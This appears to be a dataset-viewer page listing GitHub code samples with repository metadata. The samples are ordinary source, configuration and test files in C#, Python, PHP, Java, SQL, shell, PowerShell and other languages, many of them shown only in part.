https://github.com/mictlanix/rtsp-h264/blob/master/rtsp-h264-client/Sdp/Attribute.cs | Github Open Source | Open Source | MIT | 2,020 | rtsp-h264 | mictlanix | C# | Code | 205 | 563 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Diagnostics.Contracts;
namespace Mictlanix.DotNet.Rtsp.Sdp {
public class Attribute {
static readonly Dictionary<string, Type> attributMap = new Dictionary<string, Type> () {
{ RtpMapAttribute.NAME, typeof(RtpMapAttribute) },
... | 35,373 |
https://github.com/hyorangnavi/wasedatime-backend/blob/master/src/lambda/delete-review/index.py | Github Open Source | Open Source | MIT | 2,021 | wasedatime-backend | hyorangnavi | Python | Code | 44 | 205 | from boto3.dynamodb.conditions import Attr
from utils import JsonPayloadBuilder, table, resp_handler
@resp_handler
def delete_review(key, ts, uid):
table.delete_item(
Key={
"course_key": key,
"created_at": ts
},
ConditionExpression=Attr('uid').eq(uid)
)
re... | 14,026 |
https://github.com/RighteousRyan1/AerovelenceMod/blob/master/Common/Globals/Worlds/ZoneWorld.cs | Github Open Source | Open Source | MIT | null | AerovelenceMod | RighteousRyan1 | C# | Code | 64 | 265 | using AerovelenceMod.Content.Tiles.CrystalCaverns.Tiles;
using Terraria.ModLoader;
namespace AerovelenceMod.Common.Globals.Worlds
{
public class ZoneWorld : ModWorld
{
public static int CavernTiles { get; private set; }
public static int CitadelTiles { get; private set; };
public over... | 50,435 |
https://github.com/cloneforyou/content-review-lookup/blob/master/dist/htmlcss/Wikia.js--filter-comments2.js | Github Open Source | Open Source | CC-BY-4.0 | 2,021 | content-review-lookup | cloneforyou | JavaScript | Code | 74 | 244 | ;(function(mw, $, FilteredComments){
if (FilteredComments.optOut === true) return;
if (typeof FilteredComments.groups == 'object'
&& FilteredComments.groups instanceof Object
&& $('#WikiaArticleComments').length){
let groups = FilteredComments.groups;
for (let group ... | 31,591 |
https://github.com/kirigakuretora/FAManagementStudio/blob/master/FAManagementStudio/ViewModels/Db/TableViewModel.cs | Github Open Source | Open Source | MIT, Apache-2.0 | 2,016 | FAManagementStudio | kirigakuretora | C# | Code | 213 | 697 | using FAManagementStudio.Common;
using System;
using System.Collections.Generic;
using System.Linq;
namespace FAManagementStudio.ViewModels
{
public class TableViewModel : ViewModelBase, ITableViewModel
{
private string _name;
public TableViewModel(string name)
{
_name = na... | 1,420 |
https://github.com/beyondamos/yiicms/blob/master/models/admin/User.php | Github Open Source | Open Source | BSD-3-Clause | null | yiicms | beyondamos | PHP | Code | 578 | 2,157 | <?php
namespace app\models\admin;
use app\models\AdminBase;
use Yii;
use app\models\admin\Role;
use yii\base\Security;
/**
* Class User
* @package app\models
* 用户模型
*/
class User extends AdminBase
{
public $password; //用户密码
public $password2; //重复密码
public $oldpassword; //原密码
public $verifyCod... | 18,935 |
https://github.com/psinetron/slycalendarview/blob/master/slycalendarview/src/main/java/ru/slybeaver/slycalendarview/GridAdapter.java | Github Open Source | Open Source | MIT | 2,018 | slycalendarview | psinetron | Java | Code | 527 | 3,010 | package ru.slybeaver.slycalendarview;
import android.content.Context;
import android.graphics.Typeface;
import android.graphics.drawable.GradientDrawable;
import android.graphics.drawable.LayerDrawable;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.con... | 18,179 |
https://github.com/jguenther/emacs.d/blob/master/lisp/init-markdown.el | Github Open Source | Open Source | BSD-2-Clause-FreeBSD | 2,015 | emacs.d | jguenther | null | Spoken | 35 | 212 | (require-package 'markdown-mode)
(after-load 'whitespace-cleanup-mode
(push 'markdown-mode whitespace-cleanup-mode-ignore-modes)
(push 'gfm-mode whitespace-cleanup-mode-ignore-modes))
(require-package 'mkdown)
(after-load 'markdown-mode
(setq-default markdown-css-paths mkdown-css-file-name))
(add-to-list 'auto... | 45,193 |
https://github.com/cms-sw/cmssw/blob/master/DPGAnalysis/MuonTools/interface/MuLocalRecoBaseProducer.h | Github Open Source | Open Source | Apache-2.0 | 2,023 | cmssw | cms-sw | C++ | Code | 597 | 2,775 | #ifndef MuonTools_MuRecObjBaseProducer_h
#define MuonTools_MuRecObjBaseProducer_h
/** \class MuRecObjBaseProducer MuRecObjBaseProducer.h DPGAnalysis/MuonTools/src/MuRecObjBaseProducer.h
*
* Helper class defining the generic interface of a muon digi Producer
*
* \author C. Battilana (INFN BO)
*
*
*/
#include ... | 16,135 |
https://github.com/original001/creevey/blob/master/tests/server/master/loader.fixtures/imports.output.tsx | Github Open Source | Open Source | MIT | 2,021 | creevey | original001 | TSX | Code | 29 | 54 | // @ts-nocheck
// no-specifiers
// unused default
import d from 'e'; // used default
// renamed
export default { title: d };
export const Story = () => {}; | 4,559 |
https://github.com/hbhakhrani/OpenInEclipse/blob/master/OpenInEclipse.sublime-commands | Github Open Source | Open Source | MIT | 2,015 | OpenInEclipse | hbhakhrani | null | Spoken | 10 | 29 | [
{ "caption": "Open in Eclipse", "command": "open_in_eclipse" },
] | 46,014 |
https://github.com/ytiwari/yFiles-evaluation/blob/master/src/components/transitivity/MagnifyNodeHighlightInstaller.js | Github Open Source | Open Source | MIT | 2,021 | yFiles-evaluation | ytiwari | JavaScript | Code | 1,302 | 2,778 | /****************************************************************************
** @license
** This demo file is part of yFiles for HTML 2.4.0.2.
** Copyright (c) 2000-2021 by yWorks GmbH, Vor dem Kreuzberg 28,
** 72070 Tuebingen, Germany. All rights reserved.
**
** yFiles demo files exhibit yFiles for HTML functio... | 4,703 |
https://github.com/alexvandesande/ethereum-publisher-dapp/blob/master/node_modules/moon-lang/base/eth/abi/encodeUint256.moon | Github Open Source | Open Source | MIT | 2,017 | ethereum-publisher-dapp | alexvandesande | null | Spoken | 11 | 103 | bigToHex = zb2rhZFXk2vLZmHXnJ3VCsZfRXjDfSEi3o2fUT6g2iC7wecGU
encodeBytes32 = zb2rhehu6SpPGRzGrjSbyP341tHxyZfK7Ku6gqZsSP1cfqZv7
big =>
(encodeBytes32 (bigToHex big))
| 14,305 |
https://github.com/vitalicher97/NetcrackerLab/blob/master/src/main/java/main/Main.java | Github Open Source | Open Source | MIT | null | NetcrackerLab | vitalicher97 | Java | Code | 164 | 441 | // Vitalii Chernetskyi
package main;
import output.ExcelOutput;
import java.util.Scanner;
import java.lang.reflect.*;
import analyzer.*;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author Chernetskyi
*/
public class Main {
/**
*
* <br... | 31,916 |
https://github.com/mariofv/SuperMarioGo/blob/master/src/Assets/resources/prefabs/scenario/Node.prefab | Github Open Source | Open Source | MIT | 2,019 | SuperMarioGo | mariofv | Unity3D Asset | Code | 1,455 | 6,816 | %YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!1001 &100100000
Prefab:
m_ObjectHideFlags: 1
serializedVersion: 2
m_Modification:
m_TransformParent: {fileID: 0}
m_Modifications: []
m_RemovedComponents: []
m_ParentPrefab: {fileID: 0}
m_RootGameObject: {fileID: 1171004036406084}
m_IsPrefabParent: ... | 20,881 |
https://github.com/geosolutions-it/MapStore2/blob/master/web/client/plugins/MeasureResults.jsx | Github Open Source | Open Source | BSD-2-Clause | 2,023 | MapStore2 | geosolutions-it | JavaScript | Code | 231 | 635 | /*
* Copyright 2016, GeoSolutions Sas.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*/
import PropTypes from 'prop-types';
import React from 'react';
import { connect } from 'react-redux';
import { chan... | 48,192 |
https://github.com/LinqLover/Squot/blob/master/src/Squot.package/TSquotShadow.trait/instance/withSquotObjectName..st | Github Open Source | Open Source | MIT | 2,022 | Squot | LinqLover | null | Spoken | 9 | 31 | Squot-shadow
withSquotObjectName: aName
^ SquotNameDecorator on: self withName: aName | 28,335 |
https://github.com/Namchee/dependent/blob/master/__tests__/project.test.ts | Github Open Source | Open Source | MIT | 2,021 | dependent | Namchee | TypeScript | Code | 106 | 298 | import { jest } from '@jest/globals';
import { getDependantFiles } from '../src/import';
import { ProjectFile } from './../src/constants/types';
jest.useFakeTimers();
afterEach(() => {
jest.clearAllTimers();
});
describe('Parser tolerance test', () => {
it('should throw an error when silent is false', () => {
... | 26,308 |
https://github.com/michalochman/git-extensions/blob/master/bin/git-svn-extract-authors | Github Open Source | Open Source | MIT | 2,014 | git-extensions | michalochman | Shell | Code | 40 | 97 | #!/bin/sh
if [ ! $# -eq 1 ]; then
echo "Usage: git svn-extract-authors SVN_ROOT_URL"
exit 1
fi
svn log -q "$1" | awk -F '|' '/^r/ {sub("^ ", "", $2); sub(" $", "", $2); print $2"="$2" "}' | sort -u
| 29,364 |
https://github.com/zd04/goblog/blob/master/views/index.tpl | Github Open Source | Open Source | MIT | null | goblog | zd04 | null | Spoken | 153 | 709 | <!DOCTYPE html>
<html>
<head>
<title>go websocket</title>
<meta charset="utf-8" />
</head>
<body>
<script type="text/javascript">
var wsUri ="ws://127.0.0.1:7777/ws";
var output;
function init() {
output = document.getElementById("output");
//testWebSocket()
}
... | 22,344 |
https://github.com/p-g-krish/deepmac-tracker/blob/master/data/js/70/b3/d5/7a/b0/00.36.js | Github Open Source | Open Source | CC-BY-4.0, MIT | null | deepmac-tracker | p-g-krish | JavaScript | Code | 8 | 67 | deepmacDetailCallback("70b3d57ab000/36",[{"a":"Via Stradivari, 4 BOLZANO BZ IT 39100","o":"Microgate Srl","d":"2017-09-11","t":"add","s":"ieee","c":"IT"}]);
| 19,816 |
https://github.com/dannydaniel/eegUtils/blob/master/man/est_filt_order.Rd | Github Open Source | Open Source | MIT | 2,019 | eegUtils | dannydaniel | R | Code | 42 | 143 | % Generated by roxygen2: do not edit by hand
% Please edit documentation in R/filtering.R
\name{est_filt_order}
\alias{est_filt_order}
\title{Estimate filter order}
\usage{
est_filt_order(window, tbw, srate)
}
\arguments{
\item{window}{Window to use (string)}
\item{tbw}{Transition bandwidth.}
\item{srate}{Sampling ra... | 7,849 |
https://github.com/sorgerlab/famplex/blob/master/setup.py | Github Open Source | Open Source | CC0-1.0 | 2,023 | famplex | sorgerlab | Python | Code | 128 | 622 | import os
import sys
from setuptools import setup, find_packages
from distutils.sysconfig import get_python_lib
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, 'README.md'), encoding='utf-8') as f:
long_description = f.read()
relative_site_packages = get_python_lib().\
split(os... | 1,985 |
https://github.com/drewsp7/blog/blob/master/2014-01-08 Top 100/billboard_queries.sql | Github Open Source | Open Source | MIT | 2,017 | blog | drewsp7 | SQL | Code | 805 | 2,339 | ## Artists by the number of years they appear
SELECT y.years,
COUNT(y.artist) AS artists
FROM (
SELECT a.artist,
COUNT(DISTINCT a.year) AS years
FROM billboard_top_100_year_end a
GROUP BY 1
) y
GROUP BY 1
ORDER BY 1
## Number of songs by most frequently appea... | 19,684 |
https://github.com/Jisangl22/WebStudio2019/blob/master/projects/20130381/3rd/impassion_community/impassionuser/models.py | Github Open Source | Open Source | MIT | 2,019 | WebStudio2019 | Jisangl22 | Python | Code | 29 | 235 | from django.db import models
# Create your models here.
class Impassionuser(models.Model):
username=models.CharField(max_length=64,
verbose_name='사용자명')
useremail=models.EmailField(max_length=128,
verbose_name='사용자이메일')
password=models.CharField(max_... | 11,557 |
https://github.com/tnguyen5130/Software-Quality-Project/blob/master/TMSProject/TMSProject/Classes/Model/ContractMarketPlace.cs | Github Open Source | Open Source | Apache-2.0 | null | Software-Quality-Project | tnguyen5130 | C# | Code | 416 | 1,018 | //* FILE : Carrier.cs
//* PROJECT : SENG2020-19F-Sec1-Software Quallity - Group Project
//* PROGRAMMER : Nhung Luong, Yonchul Choi, Trung Nguyen, Adullar - Project Slinger
//* FIRST VERSON : Nov 11, 2019
//* DESCRIPTION : The file defines a class : buyer for the login page
using System;
using System.Collect... | 29,870 |
https://github.com/JCalvoF/PowerShell_Utilities/blob/master/SQL2CSV/Powershell_SQLQuery2CSV.ps1 | Github Open Source | Open Source | MIT | null | PowerShell_Utilities | JCalvoF | PowerShell | Code | 350 | 1,194 |
#----------- SCRIPT SETUP
# - Database server connection
$sql_server = "192.168.1.124"
$sql_database = "AdventureWorks2012"
$sql_timeout = 60
# - Security data
# SSPI security. domain validation
#$sql_security = "Integrated Security=SSPI"
# user an... | 51,170 |
https://github.com/drunin89/SoftUni/blob/master/Programming with C#/0.Exams/Programming Basics Exam - 18 December 2016/04.Grades/Grades.cs | Github Open Source | Open Source | MIT | null | SoftUni | drunin89 | C# | Code | 163 | 416 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace _04.Grades
{
class Grades
{
static void Main(string[] args)
{
int n = int.Parse(Console.ReadLine());
double ocenka = 0;
double count... | 31,537 |
https://github.com/rurza/AudioPlayer/blob/master/Example/Pods/Target Support Files/Pods-StreamPlayer_Tests/Pods-StreamPlayer_Tests-dummy.m | Github Open Source | Open Source | MIT | 2,019 | AudioPlayer | rurza | Objective-C | Code | 10 | 52 | #import <Foundation/Foundation.h>
@interface PodsDummy_Pods_StreamPlayer_Tests : NSObject
@end
@implementation PodsDummy_Pods_StreamPlayer_Tests
@end
| 1,180 |
https://github.com/scheinerman/Misc.jl/blob/master/src/Benford.jl | Github Open Source | Open Source | MIT | 2,022 | Misc.jl | scheinerman | Julia | Code | 354 | 1,025 | # Tools for initial digits stuff
char2digit(c::Char) = c - '0'
function first_digit(x::Real, alert::Bool = false)
if x == 0
if alert
warn("Received 0, returning 0")
end
return 0
end
x = abs(x) # make sure it's positive
while x < 1
x *= 10
end
c = ... | 22,293 |
https://github.com/RAJAGOPALAN-GANGADHARAN/Rocket.Chat/blob/master/server/publications/fullUserData.js | Github Open Source | Open Source | MIT, LicenseRef-scancode-generic-cla | 2,018 | Rocket.Chat | RAJAGOPALAN-GANGADHARAN | JavaScript | Code | 34 | 120 | import { Meteor } from 'meteor/meteor';
Meteor.publish('fullUserData', function(filter, limit) {
if (!this.userId) {
return this.ready();
}
const result = RocketChat.getFullUserData({
userId: this.userId,
filter,
limit,
});
if (!result) {
return this.ready();
}
return result;
});
| 201 |
https://github.com/wwwbrunagon/gatsby-tests/blob/master/src/pages/about.jsx | Github Open Source | Open Source | MIT | null | gatsby-tests | wwwbrunagon | null | Spoken | 321 | 821 |
import React from 'react'
import Menu from '../components/Menu'
import Layout from '../components/Layout'
import CardV2 from '../components/CardV2'
const About = () => {
const text = 'loren loren'
return(
<Layout>
<Menu />
<h1>About</h1>
<h2>{text}</h2>
... | 16,195 |
https://github.com/dolittle/Bifrost/blob/master/Source/Bifrost.Specs/Commands/for_CommandHandlerInvoker/Subjects.cs | Github Open Source | Open Source | MIT | 2,019 | Bifrost | dolittle | C# | Code | 16 | 49 | namespace Bifrost.Specs.Commands.for_CommandHandlerInvoker
{
public class Subjects
{
public const string handling_commands = "Handling commands";
}
} | 43,890 |
https://github.com/alipay/alipay-sdk-java-all/blob/master/v2/src/main/java/com/alipay/api/response/AlipayIserviceCliveVisitorOfflineResponse.java | Github Open Source | Open Source | Apache-2.0 | 2,023 | alipay-sdk-java-all | alipay | Java | Code | 35 | 135 | package com.alipay.api.response;
import com.alipay.api.AlipayResponse;
/**
* ALIPAY API: alipay.iservice.clive.visitor.offline response.
*
* @author auto create
* @since 1.0, 2023-08-20 16:44:04
*/
public class AlipayIserviceCliveVisitorOfflineResponse extends AlipayResponse {
private static final long seria... | 8,689 |
https://github.com/dragonfirecmv/av-essentials-backend/blob/master/src/api/vendors/controllers/address.controller.ts | Github Open Source | Open Source | MIT | null | av-essentials-backend | dragonfirecmv | TypeScript | Code | 191 | 984 | import { Controller, Get, Post, UseGuards, Param, Body } from "@nestjs/common";
import { AddressService } from "../services/address.service";
import { UserEntity } from "../../../api/users/users.entity";
import { CreateAddressDTO } from "../dtos/address.dto";
import { User } from "../../../api/users/decorator/users.dec... | 51,640 |
https://github.com/opencor/llvm-clang/blob/master/test/CodeGen/RISCV/rvv/fixed-vectors-int-splat.ll | Github Open Source | Open Source | Apache-2.0 | null | llvm-clang | opencor | LLVM | Code | 4,610 | 16,439 | ; NOTE: Assertions have been autogenerated by utils/update_llc_test_checks.py
; RUN: llc -mtriple=riscv32 -mattr=+v -riscv-v-vector-bits-min=128 -riscv-v-fixed-length-vector-lmul-max=8 -verify-machineinstrs < %s | FileCheck %s --check-prefixes=CHECK,LMULMAX8,LMULMAX8-RV32
; RUN: llc -mtriple=riscv32 -mattr=+v -riscv-v-... | 33,119 |
https://github.com/hoopy1986/PHT/blob/master/PHT/Xml/Player/Senior/Chunk.php | Github Open Source | Open Source | Beerware | 2,022 | PHT | hoopy1986 | PHP | Code | 1,501 | 4,925 | <?php
/**
* PHT
*
* @author Telesphore
* @link https://github.com/jetwitaussi/PHT
* @version 3.0
* @license "THE BEER-WARE LICENSE" (Revision 42):
* Telesphore wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think... | 25,849 |
https://github.com/jmettraux/ruote/blob/master/lib/ruote/util/filter.rb | Github Open Source | Open Source | MIT | 2,023 | ruote | jmettraux | Ruby | Code | 1,482 | 4,384 | #--
# Copyright (c) 2005-2013, John Mettraux, jmettraux@gmail.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy... | 30,838 |
https://github.com/El-Maco/q-learning-project/blob/master/src/world/physics.hpp | Github Open Source | Open Source | MIT | 2,019 | q-learning-project | El-Maco | C++ | Code | 283 | 674 | #ifndef Q_LEARNING_PHYSICS_HPP
#define Q_LEARNING_PHYSICS_HPP
#include <memory>
#include "Box2D/Box2D.h"
#define PHYSICS_ENGINE_DEFAULT_WORLD_POSITION_X 10.f
#define PHYSICS_ENGINE_DEFAULT_TIME_STEP 60.f
class PhysicsEngine {
public:
/**
* PhysicsEngine constructor.
* @param world_pos x position of ... | 15,516 |
https://github.com/stratus-meridian/apigee-kickstart-drupal8-drops/blob/master/web/modules/contrib/key/src/Form/KeyConfigOverrideAddForm.php | Github Open Source | Open Source | GPL-2.0-only, LicenseRef-scancode-unknown-license-reference, MIT | 2,021 | apigee-kickstart-drupal8-drops | stratus-meridian | PHP | Code | 1,137 | 3,690 | <?php
namespace Drupal\key\Form;
use Drupal\Core\Config\ConfigFactoryInterface;
use Drupal\Core\Config\Entity\ConfigEntityInterface;
use Drupal\Core\Config\StorageInterface;
use Drupal\Core\Entity\EntityForm;
use Drupal\Core\Entity\EntityTypeInterface;
use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\Cor... | 41,675 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.